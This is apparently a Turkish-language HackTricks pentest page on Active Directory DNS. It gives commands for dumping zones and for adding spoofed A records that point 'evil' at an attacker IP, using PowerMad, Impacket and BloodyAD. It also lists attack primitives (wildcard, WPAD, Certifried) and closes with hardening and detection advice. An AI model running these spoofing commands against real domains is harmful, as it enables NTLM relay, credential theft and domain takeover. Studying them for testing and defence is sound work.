AD DNS Kayıtları

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Varsayılan olarak herhangi bir kullanıcı Active Directory'de tüm DNS kayıtlarını Domain veya Orman DNS alanlarında listeleyebilir, bu bir alan transferine benzer (kullanıcılar, bir AD ortamında bir DNS alanının alt nesnelerini listeleyebilir).

Araç adidnsdump, iç ağların keşif amaçları için alandaki tüm DNS kayıtlarının listelemesini ve dışa aktarılmasını sağlar.

bash
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .

# Enumerate the default zone and resolve the "hidden" records
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r

# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones

# Dump a specific zone (e.g. ForestDnsZones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r

cat records.csv

adidnsdump v1.4.0 (Nisan 2025) JSON/Greppable (--json) çıktısı, çoklu iş parçacığı DNS çözümü ve LDAPS'ye bağlanırken TLS 1.2/1.3 desteği ekler.

Daha fazla bilgi için https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/


Kayıt Oluşturma / Değiştirme (ADIDNS sahteciliği)

Authenticated Users grubunun varsayılan olarak alan DACL'sinde Create Child yetkisi olduğundan, herhangi bir etki alanı hesabı (veya bilgisayar hesabı) ek kayıtlar kaydedebilir. Bu, trafik kaçırma, NTLM relay zorlaması veya hatta tam etki alanı ele geçirme için kullanılabilir.

PowerMad / Invoke-DNSUpdate (PowerShell)

powershell
Import-Module .\Powermad.ps1

# Add A record evil.domain.local → attacker IP
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose

# Delete it when done
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose

Impacket – dnsupdate.py (Python)

bash
# add/replace an A record via secure dynamic-update
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37

(dnsupdate.py, Impacket ≥0.12.0 ile birlikte gelir)

BloodyAD

bash
bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37

Yaygın saldırı ilkelere

  1. Wildcard kaydı*.<zone> AD DNS sunucusunu LLMNR/NBNS sahteciliğine benzer şekilde kurumsal çapta bir yanıtlayıcıya dönüştürür. NTLM hash'lerini yakalamak veya LDAP/SMB'ye iletmek için kötüye kullanılabilir. (WINS araması devre dışı bırakılmalıdır.)
  2. WPAD kaçırmawpad (veya Global-Query-Block-List'i atlamak için bir saldırgan ana bilgisayara işaret eden bir NS kaydı) ekleyin ve kimlik bilgilerini toplamak için dışa çıkan HTTP isteklerini şeffaf bir şekilde proxy'leyin. Microsoft, wildcard/DNAME atlamalarını (CVE-2018-8320) yamanladı ancak NS-kayıtları hala çalışıyor.
  3. Eski giriş ele geçirme – daha önce bir iş istasyonuna ait olan IP adresini talep edin ve ilişkili DNS girişi hala çözümlenecektir, bu da kaynak tabanlı kısıtlı delegasyon veya Shadow-Credentials saldırılarına DNS'e dokunmadan olanak tanır.
  4. DHCP → DNS sahteciliği – varsayılan bir Windows DHCP+DNS dağıtımında, aynı alt ağda kimlik doğrulaması yapılmamış bir saldırgan, dinamik DNS güncellemelerini tetikleyen sahte DHCP istekleri göndererek mevcut herhangi bir A kaydını (Domain Controller'lar dahil) üzerine yazabilir (Akamai “DDSpoof”, 2023). Bu, Kerberos/LDAP üzerinde makine-arasında bir konum sağlar ve tam alan ele geçirmeye yol açabilir.
  5. Certifried (CVE-2022-26923) – kontrol ettiğiniz bir makine hesabının dNSHostName değerini değiştirin, eşleşen bir A kaydı kaydedin, ardından bu isim için bir sertifika talep edin ve DC'yi taklit edin. Certipy veya BloodyAD gibi araçlar akışı tamamen otomatikleştirir.

Tespit ve güçlendirme

  • Hassas alanlarda Kimlik Doğrulanmış Kullanıcılar'a Tüm çocuk nesneleri oluşturma hakkını reddedin ve dinamik güncellemeleri DHCP tarafından kullanılan özel bir hesaba devredin.
  • Dinamik güncellemeler gerekiyorsa, alanı Sadece Güvenli olarak ayarlayın ve yalnızca sahip bilgisayar nesnesinin kendi kaydını üzerine yazabilmesi için DHCP'de İsim Koruması'nı etkinleştirin.
  • DNS Sunucusu olay kimliklerini 257/252 (dinamik güncelleme), 770 (alan transferi) ve CN=MicrosoftDNS,DC=DomainDnsZones'a LDAP yazmalarını izleyin.
  • Tehlikeli isimleri (wpad, isatap, *) kasıtlı olarak zararsız bir kayıt veya Global Sorgu Engelleme Listesi aracılığıyla engelleyin.
  • DNS sunucularını güncel tutun – örneğin, RCE hataları CVE-2024-26224 ve CVE-2024-26231 CVSS 9.8'e ulaştı ve Domain Controller'lara karşı uzaktan istismar edilebilir.

Referanslar

  • Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, hala wildcard/WPAD saldırıları için de-facto referans)
  • Akamai – “Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates” (Aralık 2023)

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin